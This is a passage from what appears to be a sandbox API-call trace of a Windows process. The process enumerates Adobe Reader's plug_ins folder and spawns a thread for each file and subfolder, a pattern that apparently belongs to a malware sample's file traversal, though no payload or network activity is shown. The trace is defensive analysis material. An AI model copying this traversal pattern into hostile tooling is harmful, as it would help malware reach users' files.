ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.887] wcscmp (_String1="..", _String2=".") returned 1 [0049.887] wcscmp (_String1="..", _String2="..") returned 0 [0049.887] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.api", cAlternateFileName="ACCESS~1.API")) returned 1 [0049.887] wcscmp (_String1="Accessibility.api", _String2=".") returned 1 [0049.887] wcscmp (_String1="Accessibility.api", _String2="..") returned 1 [0049.887] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x4ee298 [0049.887] wcscpy (in: _Dest=0x4ee298, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0049.887] wcscat (in: _Dest=0x4ee298, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0049.887] wcscat (in: _Dest=0x4ee298, _Source="Accessibility.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Accessibility.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Accessibility.api" [0051.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ee298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd68 [0051.800] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroForm", cAlternateFileName="")) returned 1 [0051.800] wcscmp (_String1="AcroForm", _String2=".") returned 1 [0051.800] wcscmp (_String1="AcroForm", _String2="..") returned 1 [0051.800] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x4168a0 [0051.800] wcscpy (in: _Dest=0x4168a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.800] wcscat (in: _Dest=0x4168a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.800] wcscat (in: _Dest=0x4168a0, _Source="AcroForm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm" [0051.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4168a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xee4 [0051.801] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8308ce80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae8a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroForm.api", cAlternateFileName="")) returned 1 [0051.801] wcscmp (_String1="AcroForm.api", _String2=".") returned 1 [0051.801] wcscmp (_String1="AcroForm.api", _String2="..") returned 1 [0051.801] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x439c48 [0051.801] wcscpy (in: _Dest=0x439c48, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.801] wcscat (in: _Dest=0x439c48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.801] wcscat (in: _Dest=0x439c48, _Source="AcroForm.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm.api" [0051.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439c48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xee8 [0051.802] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e2b880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x217e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroSign.prc", cAlternateFileName="")) returned 1 [0051.802] wcscmp (_String1="AcroSign.prc", _String2=".") returned 1 [0051.802] wcscmp (_String1="AcroSign.prc", _String2="..") returned 1 [0051.803] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x439ce0 [0051.803] wcscpy (in: _Dest=0x439ce0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.803] wcscat (in: _Dest=0x439ce0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.803] wcscat (in: _Dest=0x439ce0, _Source="AcroSign.prc" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroSign.prc") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroSign.prc" [0051.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439ce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeec [0051.804] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annotations", cAlternateFileName="ANNOTA~1")) returned 1 [0051.804] wcscmp (_String1="Annotations", _String2=".") returned 1 [0051.804] wcscmp (_String1="Annotations", _String2="..") returned 1 [0051.804] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x439d78 [0051.804] wcscpy (in: _Dest=0x439d78, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.804] wcscat (in: _Dest=0x439d78, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.804] wcscat (in: _Dest=0x439d78, _Source="Annotations" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations" [0051.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x439d78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xef0 [0051.805] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5dbe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.api", cAlternateFileName="")) returned 1 [0051.805] wcscmp (_String1="Annots.api", _String2=".") returned 1 [0051.805] wcscmp (_String1="Annots.api", _String2="..") returned 1 [0051.805] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x4169c0 [0051.805] wcscpy (in: _Dest=0x4169c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.805] wcscat (in: _Dest=0x4169c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.806] wcscat (in: _Dest=0x4169c0, _Source="Annots.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annots.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annots.api" [0051.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4169c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xef4 [0051.807] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd2463, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.api", cAlternateFileName="")) returned 1 [0051.807] wcscmp (_String1="Checkers.api", _String2=".") returned 1 [0051.807] wcscmp (_String1="Checkers.api", _String2="..") returned 1 [0051.807] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x439e10 [0051.807] wcscpy (in: _Dest=0x439e10, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.807] wcscat (in: _Dest=0x439e10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.807] wcscat (in: _Dest=0x439e10, _Source="Checkers.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Checkers.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Checkers.api" [0051.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xef8 [0051.808] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15de63, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.api", cAlternateFileName="")) returned 1 [0051.808] wcscmp (_String1="DigSig.api", _String2=".") returned 1 [0051.808] wcscmp (_String1="DigSig.api", _String2="..") returned 1 [0051.808] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x416780 [0051.808] wcscpy (in: _Dest=0x416780, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.808] wcscat (in: _Dest=0x416780, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.808] wcscat (in: _Dest=0x416780, _Source="DigSig.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DigSig.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DigSig.api" [0051.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x416780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xefc [0051.810] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.api", cAlternateFileName="")) returned 1 [0051.810] wcscmp (_String1="DVA.api", _String2=".") returned 1 [0051.810] wcscmp (_String1="DVA.api", _String2="..") returned 1 [0051.810] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x417bc0 [0051.810] wcscpy (in: _Dest=0x417bc0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.810] wcscat (in: _Dest=0x417bc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.810] wcscat (in: _Dest=0x417bc0, _Source="DVA.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DVA.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DVA.api" [0051.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf00 [0051.811] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd063, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.api", cAlternateFileName="")) returned 1 [0051.811] wcscmp (_String1="eBook.api", _String2=".") returned 1 [0051.811] wcscmp (_String1="eBook.api", _String2="..") returned 1 [0051.811] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x418160 [0051.811] wcscpy (in: _Dest=0x418160, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.811] wcscat (in: _Dest=0x418160, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.812] wcscat (in: _Dest=0x418160, _Source="eBook.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\eBook.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\eBook.api" [0051.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x418160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf04 [0051.813] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e2b880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ab863, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.api", cAlternateFileName="")) returned 1 [0051.813] wcscmp (_String1="EScript.api", _String2=".") returned 1 [0051.813] wcscmp (_String1="EScript.api", _String2="..") returned 1 [0051.813] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x439ea8 [0051.813] wcscpy (in: _Dest=0x439ea8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.813] wcscat (in: _Dest=0x439ea8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.813] wcscat (in: _Dest=0x439ea8, _Source="EScript.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\EScript.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\EScript.api" [0051.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439ea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf08 [0051.814] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18463, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.api", cAlternateFileName="")) returned 1 [0051.814] wcscmp (_String1="IA32.api", _String2=".") returned 1 [0051.814] wcscmp (_String1="IA32.api", _String2="..") returned 1 [0051.814] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x4181f0 [0051.814] wcscpy (in: _Dest=0x4181f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.814] wcscat (in: _Dest=0x4181f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.814] wcscat (in: _Dest=0x4181f0, _Source="IA32.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\IA32.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\IA32.api" [0051.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4181f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf0c [0051.815] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x234a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="MakeAccessible.api", cAlternateFileName="MAKEAC~1.API")) returned 1 [0051.816] wcscmp (_String1="MakeAccessible.api", _String2=".") returned 1 [0051.816] wcscmp (_String1="MakeAccessible.api", _String2="..") returned 1 [0051.816] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x4ee798 [0051.816] wcscpy (in: _Dest=0x4ee798, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.816] wcscat (in: _Dest=0x4ee798, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.816] wcscat (in: _Dest=0x4ee798, _Source="MakeAccessible.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\MakeAccessible.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\MakeAccessible.api" [0051.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ee798, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf10 [0051.817] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia", cAlternateFileName="MULTIM~1")) returned 1 [0051.817] wcscmp (_String1="Multimedia", _String2=".") returned 1 [0051.817] wcscmp (_String1="Multimedia", _String2="..") returned 1 [0051.817] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x418280 [0051.817] wcscpy (in: _Dest=0x418280, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.817] wcscat (in: _Dest=0x418280, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.817] wcscat (in: _Dest=0x418280, _Source="Multimedia" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" [0051.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x418280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf14 [0051.818] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x174c63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.api", cAlternateFileName="MULTIM~1.API")) returned 1 [0051.818] wcscmp (_String1="Multimedia.api", _String2=".") returned 1 [0051.818] wcscmp (_String1="Multimedia.api", _String2="..") returned 1 [0051.818] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x90) returned 0x439f40 [0051.818] wcscpy (in: _Dest=0x439f40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0051.818] wcscat (in: _Dest=0x439f40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0051.818] wcscat (in: _Dest=0x439f40, _Source="Multimedia.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia.api" [0051.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf18 